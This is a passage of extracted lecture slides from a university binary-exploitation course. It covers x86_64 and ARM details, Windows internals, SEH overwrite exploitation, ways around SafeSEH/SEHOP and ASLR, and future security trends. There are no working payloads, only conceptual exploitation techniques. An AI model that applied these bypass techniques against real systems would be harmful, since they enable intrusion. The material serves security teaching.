(the same segment after multiple runs)
7f638218c000-7f6382347000 r-xp 00000000 08:01 922887
...
7f6fa368e000-7f6fa3849000 r-xp 00000000 08:01 922887
...
7f974db38000-7f974dcf3000 r-xp 00000000 08:01 922887
...
```

x86_64 ASLR

```
doom@upwn64:~$ cat /proc/self/maps
(the same segment after multiple runs)
7f638218c000-7f6382347000 r-xp 00000000 08:01 922887
...
7f6fa368e000-7f6fa3849000 r-xp 00000000 08:01 922887
...
7f974db38000-7f974dcf3000 r-xp 00000000 08:01 922887
...
```

At least 7 nibbles of libc is changing per run on Ubuntu 14.04 x64

7 (nibbles) * 4 (bits) = 28

2^{28} bruteforce

0.0000000037% exploit reliability!

x86_64 Addresses

- 64bit addresses almost always have a NULL upper byte, meaning ROP chains and string functions (eg `strncpy`) don't get along

x86_64 Addresses

```
doom@upwn64:~$ cat /proc/self/maps
00400000-0040b000 r-xp 00000000 08:01 790596   /bin/cat
0060a000-0060b000 r--p 0000a000 08:01 790596   /bin/cat
0060b000-0060c000 rw-p 0000b000 08:01 790596   /bin/cat
...
7fc6a4788000-7fc6a4943000 r-xp 00000000 08:01 922887  libc-2.19.so
7fc6a4943000-7fc6a4b42000 ---p 001bb000 08:01 922887  libc-2.19.so
7fc6a4b42000-7fc6a4b46000 r--p 001ba000 08:01 922887  libc-2.19.so
7fc6a4b46000-7fc6a4b48000 rw-p 001be000 08:01 922887  libc-2.19.so
...
```

x86_64 Addresses

```
doom@upwn64:~$ cat /proc/self/maps
00400000-0040b000 r-xp 00000000 08:01 790596   /bin/cat
0060a000-0060b000 r--p 0000a000 08:01 790596   /bin/cat
0060b000-0060c000 rw-p 0000b000 08:01 790596   /bin/cat
...
7fc6a4788000-7fc6a4943000 r-xp 00000000 08:01 922887  libc-2.19.so
7fc6a4943000-7fc6a4b42000 ---p 001bb000 08:01 922887  libc-2.19.so
7fc6a4b42000-7fc6a4b46000 r--p 001ba000 08:01 922887  libc-2.19.so
7fc6a4b46000-7fc6a4b48000 rw-p 001be000 08:01 922887  libc-2.19.so
...
```

```
0x0000000000400000 - 0x0000000000040b000
0x00007fc6a4788000 - 0x00007fc6a4943000
```

These are 64bit addresses, so yes there's plenty of space for nulls

x86_64 Syscalls

- The syscall numbers in 32bit vs 64bit Linux are different, so be sure you're looking at the respective table when writing your payloads

x86_64 Syscalls

- The syscall numbers in 32bit vs 64bit Linux are different, so be sure you're looking at the respective table when writing your payloads

```
exec syscall on 32bit: 0x0b
exec syscall on 64bit: 0x3b
```

Lecture Overview

- Architecture Differences
  - x86
  - x86_64
  - ARM
- Platform Differences
  - Windows

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

ARM Overview

- ARM is a 32bit RISC instruction set built for low power devices
  - Has a ’16bit’ THUMB mode

ARM Overview

- ARM is a 32bit RISC instruction set built for low power devices
  - Has a '16bit' THUMB mode

- Used on your phone, tablet, raspberry pi, other small or mobile devices
  - 'low power'

ARM Registers

Register
r0
r1
r2
r3
r4
r5
r6
r7
r8
r9
r10
r11
r12
r13 'sp'
r14 'lr'
r15 'pc'

Scratch Registers: r0-r3, r12 r0-r3 used to pass parameters r12 intra-procedure scratch will be overwritten by subroutines
Preserved Registers: r4-r11 stack before using restore before returning
Stack Pointer: not much use on the stack
Link Register: set by BL or BLX on entry of routine overwritten by further use of BL or BLX
Program Counter

Register Use in the ARM Procedure Call Standard

ARM Calling Convention

- Calling convention is basically like fastcall
  - r0-r3 hold your function arguments

ARM Assembly

- Some ARM/THUMB instructions can operate on multiple registers at once

```
pop {r4, r5, r6, lr}
...
```

Instruction Alignment

- ARM mode has 4 byte instruction alignment
  - Can't jump in the middle of instructions
- THUMB mode has 2 byte instruction alignment
  - When ROPing there's usually more THUMB gadgets that will be of use due to the 2 byte alignment

An Interesting Bit

- Because of 2 & 4 byte instruction alignment, the lowest bit of the program counter (eg r15) will never be set

0x080462B0

00001000000000100011000101011000 0

An Interesting Bit

- Because of 2 & 4 byte instruction alignment, the lowest bit of the program counter (eg r15) will never be set

0x080462B0

00001000000001000110001010110000

This bit is re-purposed to tell the processor if we are in THUMB mode or ARM mode

An Interesting Bit

r15 = 0x080462B0

= 00001000000001000110001010110000

Interpret bytes at 0x080462B0 as ARM

r15 = 0x080462B1

= 00001000000001000110001010110001

Interpret bytes at 0x080462B0 as THUMB

Caching

- In x86 the processor will invalidate icache lines if the line is written to

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h
                                                                57
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Caching

- In x86 the processor will invalidate icache lines if the line is written to
- With ARM you have to request manual cache flushes, or do large memory operations to flush the cache naturally

Caching

- In x86 the processor will invalidate icache lines if the line is written to
- With ARM you have to request manual cache flushes, or do large memory operations to flush the cache naturally
  - Can get annoying in exploitation
  - ‘what you seez, may not beez what it iz’

Lecture Overview

- Architecture Differences
  - x86
  - x86_64
  - ARM
- Platform Differences
  - Windows

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Windows vs Linux

- Almost all the vulnerability classes and exploitation techniques you have learned in this course will apply directly to Windows

Windows Basics

- The executable format on Windows is obviously .EXE's instead of Linux ELF's

simple
SIMPLE.EXE
HEADER
TECHNICAL DETAILS ABOUT THE EXECUTABLE
SECTIONS
CONTENTS OF THE EXECUTABLE
DOS HEADER
SHOWS IT'S A BINARY
PE HEADER
SHOWS IT'S A 'MODERN' BINARY
OPTIONAL HEADER
EXECUTABLE INFORMATION
DATA DIRECTORIES
POINTERS TO EXTRA STRUCTURES (EXPORTS, IMPORTS,...)
SECTIONS TABLE
DEFINES HOW THE FILE IS LOADED IN MEMORY
CODE
WHAT IS EXECUTED
IMPORTS
LINK BETWEEN THE EXECUTABLE AND (WINDOWS) LIBRARIES
DATA
INFORMATION USED BY THE CODE

Windows Basics

- The executable format on Windows is obviously .EXE's instead of Linux ELF's
- Libraries are .DLL's, like Linux .so's
  - eg: MSVCRT.dll is like libc
    - Microsoft Visual C(++) Common Runtime

Windows Basics

Loaded DLL's

Windows Basics

- The executable format on Windows is obviously .EXE's instead of Linux ELF's
- Libraries are .DLL's, like Linux .so's
  - eg: MSVCRT.dll is like libc
    - Microsoft Visual C(++) Common Runtime
- A process usually loads lots of libs (dll's)

Windows Debuggers

- If you're going to get rolling on Windows, try to pick up skills debugging with WinDbg EARLY

Windows Debuggers

- If you're going to get rolling on Windows, try to pick up skills debugging with WinDbg EARLY

- WinDBG is Microsoft's debugger
  - Basically GDB with different command mappings
  - Not as convenient as OllyDBG, but way less sketchy
  - Best 64bit debugger

WinDbg

Kernel 'com:port=\\.\pipe\com_1,pipe' - WinDbg:6.8.0004.0

File Edit View Debug Window Help

Command - Kernel 'com:port=\\.\pipe\com_1,pipe' - WinDbg:6.8.0004.0

```
kd> !drvobj atapi 2 2
Driver object (817d2a68) is for:
 \Driver\atapi
DriverEntry:   f99b7974 atapi!DriverEntry
DriverStartIo: f99ac02e atapi!IdePortStartIo
DriverUnload:  f99b4c5a atapi!IdePortUnload
AddDevice:     f99b2fac atapi!ChannelAddDevice

Dispatch routines:
[00] IRP_MJ_CREATE                      f99ae86c        atapi!IdePortAlwaysStatusSuccessIrp
[01] IRP_MJ_CREATE_NAMED_PIPE           8050086f        nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f99ae86c        atapi!IdePortAlwaysStatusSuccessIrp
[03] IRP_MJ_READ                        8050086f        nt!IopInvalidDeviceRequest
[04] IRP_MJ_WRITE                       8050086f        nt!IopInvalidDeviceRequest
[05] IRP_MJ_QUERY_INFORMATION           8050086f        nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             8050086f        nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    8050086f        nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      8050086f        nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               8050086f        nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    8050086f        nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      8050086f        nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           8050086f        nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         8050086f        nt!IopInvalidDeviceRequest

kd>
```

Memory

Virtual: 817d2a68 | Previous | Next | Display format: Pointer and Symbol

```
817d2a68 00a80004
817d2a6c 81791d98
817d2a70 00000012
817d2a74 f99a5000 atapi!InitDeviceGeome
817d2a78 00015380
817d2a7c 817f3c28
817d2a80 817d2b10
817d2a84 001a001a
817d2a88 e131bd00
817d2a8c 806700c8 nt!CmRegistryMachineH
817d2a90 00000000
817d2a94 f99b7974 atapi!DriverEntry
817d2a98 f99ac02e atapi!IdePortStartIo
817d2a9c f99b4c5a atapi!IdePortUnload
817d2aa0 f99ae86c atapi!IdePortAlwaysSt
817d2aa4 8050086f nt!IopInvalidDeviceRe
817d2aa8 f99ae86c atapi!IdePortAlwaysSt
817d2aac 8050086f nt!IopInvalidDeviceRe
817d2ab0 8050086f nt!IopInvalidDeviceRe
817d2ab4 8050086f nt!IopInvalidDeviceRe
817d2ab8 8050086f nt!IopInvalidDeviceRe
817d2abc 8050086f nt!IopInvalidDeviceRe
817d2ac0 8050086f nt!IopInvalidDeviceRe
```

Registers - Kernel 'com:

Customize...

Reg	Value
gs	0
fs	30
es	23
ds	23
edi	1502b92
esi	0
ebx	ffdff980
edx	3f8
ecx	8054af9c
eax	1
ebp	f9ede178
eip	805183fa
cs	8
efl	202
esp	f9ede168
ss	10
dr0	0
dr1	0
dr2	0
dr3	0
dr6	ffff0ff0

Disassembly - Kernel 'com:port=\\.\pipe\com_1,pipe' - WinDbg:6.8.0004.0

Offset: f99ac02e | Next | Previous

```
f99ac025 33c0          xor     eax,eax
f99ac027 5b            pop     ebx
f99ac028 5f            pop     edi
f99ac029 5e            pop     esi
f99ac02a c9            leave
f99ac02b c20c00        ret     0Ch
atapi!IdePortStartIo:
f99ac02e 55            push    ebp
f99ac02f 8bec          mov     ebp,esp
f99ac031 51            push    ecx
f99ac032 51            push    ecx
f99ac033 8b4d08        mov     ecx,dword ptr [ebp+8]
f99ac036 8b450c        mov     eax,dword ptr [ebp+0Ch]
```

Memory

Virtual: 0x`ffffffff80695759 | Display format: Byte | Previous | Next

```
80695759 00 53 00 79 00 73 00 74 00 65 00 6d  .S.y.s.t.e.m
80695765 00 5c 00 4c 00 61 00 73 00 74 00 4b  .\.L.a.s.t.K
80695771 00 6e 00 6f 00 77 00 6e 00 47 00 6f  .n.o.w.n.G.o
8069577d 00 6f 00 64 00 52 00 65 00 63 00 6f  .o.d.R.e.c.o
80695789 00 76 00 65 00 72 00 79 00 5c 00 4c  .v.e.r.y.\.L
80695795 00 61 00 73 00 74 00 47 00 6f 00 6f  .a.s.t.G.o.o
806957a1 00 64 00 00 00 5c 00 53 00 79 00 73  .d...\.S.y.s
806957ad 00 74 00 65 00 6d 00 52 00 6f 00 6f  .t.e.m.R.o.o
806957b9 00 74 00 5c 00 4c 00 61 00 73 00 74  .t.\.L.a.s.t
806957c5 00 47 00 6f 00 6f 00 64 00 2e 00 54  .G.o.o.d...T
806957d1 00 6d 00 70 00 00 00 00 00 00 00 00  .m.p........
```

Memory

Virtual: | Previous | Display format: Pointer and | Next

```
f9ede18c 00000000
f9ede190 00000000
f9ede194 00000000
f9ede198 00000000
f9ede19c 00000000
f9ede1a0 00000000
f9ede1a4 00000000
f9ede1a8 f9edc000
```

Ln 0, Col 0 | Sys 0:KdSrv:S | Proc 000:0 | Thrd 000:0 | ASM | OVR | CAPS | NUM

Windows Exploitation Basics

- Raw syscalls are virtually never seen in native windows applications or libraries

Windows Exploitation Basics

- Raw syscalls are virtually never seen in native windows applications or libraries
  - No more `int 0x80` shellcode

Windows Exploitation Basics

- Raw syscalls are virtually never seen in native windows applications or libraries
  - No more `int 0x80` shellcode
  - Why?

Windows Exploitation Basics

- Raw syscalls are virtually never seen in native windows applications or libraries
  - No more `int 0x80` shellcode
  - Why?

- Syscall numbers tend to change from version to version of Windows and would be hard or unreliable to code into an exploit

ntdll.dll and kernel32.dll

- ntdll.dll – the ‘Native API’
  - Wraps all the syscalls for the given version of Windows, is pretty low level stuff
- kernel32.dll – the ‘Win32 API’
  - More familiar high level stuff
    - OpenFile(), ReadFile(), CreateProcess(), LoadLibrary(), GetProcAddress(),

Windows Fun Facts

- Most people think kernel32.dll is required by every windows process, but ntdll.dll is infact the only one that MUST be loaded

Windows Exploitation Basics

- So instead of using syscalls, an exploit will almost always use existing imported functions

Windows Exploitation Basics

- If a function of interest is not imported by a loaded DLL, an exploit payload will usually do what is known as ‘walking the IAT’
  - It resolves the function location manually

Windows Exploitation Basics

- If a function of interest is not imported by a loaded DLL, an exploit payload will usually do what is known as 'walking the IAT'
  - It resolves the function location manually
- If GetProcAddress() is imported from kernel32.dll, you can easily lookup functions
  - Same as dlsym() on Linux

Windows Exploitation Basics

```
GetProcAddress(k32h, “CreateProcess”);

...
```

Looking up the CreateProcess function

Windows XP Security

- Windows XP SP2 marked the start of the modern security era (Summer 2004)

Protection – Bypass – ???

Windows XP Security

- Windows XP SP2 marked the start of the modern security era (Summer 2004)
  - Hardware Enforced DEP – ROP

Protection – Bypass – ???

Windows XP Security

- Windows XP SP2 marked the start of the modern security era (Summer 2004)
  - Hardware Enforced DEP – ROP
  - Stack Cookies (GS) – Leak & replace, write past, SEH

Protection – Bypass – ???

Windows XP Security

- Windows XP SP2 marked the start of the modern security era (Summer 2004)
  - Hardware Enforced DEP – ROP
  - Stack Cookies (GS) – Leak & replace, write past, SEH
  - Safe heap unlinking – Heap metadata exploits

Protection – Bypass – ???

Windows XP Security

- Windows XP SP2 marked the start of the modern security era (Summer 2004)
  - Hardware Enforced DEP – ROP
  - Stack Cookies (GS) – Leak & replace, write past, SEH
  - Safe heap unlinking – Heap metadata exploits
  - SafeSEH – ?

Protection – Bypass – ???

Windows XP Security

- Windows XP SP2 marked the start of the modern security era (Summer 2004)
  - Hardware Enforced DEP – ROP
  - Stack Cookies (GS) – Leak & replace, write past, SEH
  - Safe heap unlinking – Heap metadata exploits
  - SafeSEH – ? What is SEH/SafeSEH ?

Protection – Bypass – ???

Structured Exception Handling

- Structured Exception Handling is a lot like assigning signal handlers on Linux

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jb      short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    ebx
                mov     [ebp+var_84], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Structured Exception Handling

- Structured Exception Handling is a lot like assigning signal handlers on Linux
- You simply register an exception handler, and if something bad like a segfault happens, code flow is redirected to the handler
  - Print an error message, exit semi-gracefully, etc…

Exploiting SEH

- Exception records are placed on the stack, so they're relatively easy to corrupt

```
0012BF1C  0012C1C8  Pointer to next SEH record
0012BF20  7C90E900  SE handler
0012BF24  7C91C348  ntdll.7C91C348
0012BF28  00000002
0012BF2C  0012C1D8
0012BF30  7C916351  RETURN to ntdll.7C916351 from ntdll.7C91C2D5
0012BF34  00000000
0012BF38  C0150008
0012BF3C  0012CE8C
0012BF40  00000000
0012BF44  0012BF9C
0012BF48  00252A60
0012BF4C  001310A0  ASCII "SsHd,"
0012BF50  0012BFA4  UNICODE "\\.\C2CAD972#4079#4fd3#A68D#AD34CC121074\L\max++.00.x86"
0012BF54  0012BFA0
0012BF58  7FFDF000
0012BF5C  00252BE8
```

Exploiting SEH

- Because you only have one gadget of execution through an overwritten SEH record, you usually have to use it to stack pivot

Exploiting SEH

- Because you only have one gadget of execution through an overwritten SEH record, you usually have to use it to stack pivot
- Classically you could use a ‘pop pop ret’ gadget to easily return onto the smashed stack (assumes executable stack) as a pointer to your overwritten SEH record is nearby

Exploiting SEH

SafeSEH

- SafeSEH is an additional set of checks made to ensure that a registered exception handler has not been corrupted
- You can enable it using the /SAFESEH flag at compile time

Bypassing SafeSEH

- With SafeSEH, an exception record is invalid if:
  - The exception handler is pointing onto the stack
  - The exception handler does not match the list of registered exception handlers in module it is pointing into

Windows Vista Security

- Windows Vista was marred by instability and performance issues, but made good progress in terms of security

Protection – Bypass – ???

Windows Vista Security

- Windows Vista was marred by instability and performance issues, but made good progress in terms of security
  - ASLR – Info leaks, partial overwrites, non aslr'd code

Protection – Bypass – ???

Windows Vista Security

- Windows Vista was marred by instability and performance issues, but made good progress in terms of security
  - ASLR – Info leaks, partial overwrites, non aslr'd code
  - SEHOP – ?

Protection – Bypass – ???

SEH Overwrite Protection

- SEH Overwrite Protection (SEHOP) is the second attempt Microsoft made to mitigate SEH exploitation

SEH Overwrite Protection

- SEH Overwrite Protection (SEHOP) is the second attempt Microsoft made to mitigate SEH exploitation
- When an exception is triggered, the SEH dispatcher attempts to walk the SEH chain to a symbolic 'terminating' record
  - If this record cannot be reached, the chain is bad

SEH Overwrite Protection

Bypassing SEHOP

- Bypassing SEHOP is pretty painful and basically involves faking a chain to the terminating record

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    ebx
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Windows Vista Security

- Windows Vista was marred by instability and performance issues, but made good progress in terms of security
  - ASLR – Info leaks, partial overwrites, non aslr'd code
  - SEHOP – Faking SEH Chains
  - Heap Hardening – More heap metadata checks

Protection – Bypass – ???

Windows 7 Security

- I don’t think much new stuff happened with Windows 7 in terms mitigation technologies
- Mostly cleaning up stability issues from Vista

Windows 8 Security

- Windows 8/8.1 took a big step forward in sec
  - Enhanced GS (Stack Cookies)
  - VTGuard – Like a Vtable Canary
  - Heap Hardening
    - Allocation order randomization – Non-deterministic alloc. order
    - Guard pages – A bit like canaries between heap pages
  - ASLR Entropy Improvements – More entropy all around
  - PatchGuard – Prevent the kernel from being live patched
  - Secure Boot – Eliminate root/boot kits with chain of trust
  - Control Flow Guard – Whitelist indirect calls

Desktop Market Share, May 2015

Windows market share, ~90.93%

Windows Summary

- In the end, Windows based exploitation isn't too different from Linux, but it's quickly getting harder

Windows Summary

- In the end, Windows based exploitation isn't too different from Linux, but it's quickly getting harder

- Some main takeaways
  - Differing 64bit calling convention
  - Syscalls aren't really a thing on Windows
  - New class of vulnerabilities, SEH Exploitation
    - New protections, SafeSEH, SEHOP
  - Better ASLR & Heap internals
  - Its mitigation technologies are rapidly evolving

The Future of Security and Exploitation

Modern Binary Exploitation

CSCI 4968 - Spring 2015

Markus Gaasedelen

DEFCON Quals

- May 15/16/17
  - Starts 8pm Friday, May 15th
  - Sage 3101 Friday, Sage 4101 Saturday/Sunday
- Extra Credit
  - Letter grade raise on a Lab
  - OR +10% on the final project
- To get the extra credit
  - Solve one challenge (that's not a sanity check)
  - OR Play 10 hours on Saturday and/or Sunday

Lecture Overview

- Security
  - Security Today
  - Security Tomorrow
- Exploitation
  - Exploitation Today
  - Exploitation Tomorrow

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

CVE Statistics – May 2015

http://www.cvedetails.com/browse-by-date.php

Security Trends

- As you know, security and mitigation technologies are no doubt getting better
  - Why the spike in 2014?

CVE Statistics – May 2015

http://www.cvedetails.com/browse-by-date.php

June 2013

Security Trends

- As you know, security and mitigation technologies are no doubt getting better
  - Why the spike in 2014?
- Possibly a result of the Snowden revelations
  - The fallout raised global awareness and interest in security/privacy. 'Cyber' in the news ever since

Unsustainable Complexity

- Exploits are getting more and more complex
  - More bugs
  - More time
  - More money

Unsustainable Complexity

Unsustainable Complexity

- Exploits are getting more and more complex
  - More bugs
  - More time
  - More money

- At what point do hobbyists have to draw the line? Companies? Contractors? Nation States?

Unsustainable Complexity

The Security Mindset

- Systems and applications will never be perfectly secure. Period.

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h
loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

The Security Mindset

- Systems and applications will never be perfectly secure. Period.
- They just have to be hard enough to break that nobody can afford it anymore

The Weakest Link - Humans

https://xkcd.com/538/

Lecture Overview

- Security
  - Security Today
  - Security Tomorrow
- Exploitation
  - Exploitation Today
  - Exploitation Tomorrow

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

The Future of Security

- The entry bar for binary exploitation is rising faster and faster
  - It's starting to outpace individuals and hobbyists interest, ability, and dedication to enter the field

Unsustainable Complexity

The Future of Security

- Memory corruption based exploits will no longer be feasible to produce for the average desktop or server

The Future of Security

- Memory corruption based exploits will no longer be feasible to produce for the average desktop or server
  - In the immediate 10-20 years (?)
    - Embedded devices are further behind

The Future of Security

- Implementation & logic flaws will probably always exist
  - You can't really fix stupid

The Future of Security

- Implementation & logic flaws will probably always exist
  - You can't really fix stupid
- What we will see and discover more of:
  - Sponsored backdoors, 'cheating'
  - Hardware backdoors, flaws, supply chain trust
  - Crypto backdoors, subtle design flaws

Lecture Overview

- Security
  - Security Today
  - Security Tomorrow
- Exploitation
  - Exploitation Today
  - Exploitation Tomorrow

```
                push    edi
                call    sub_314623
                test    eax, eax
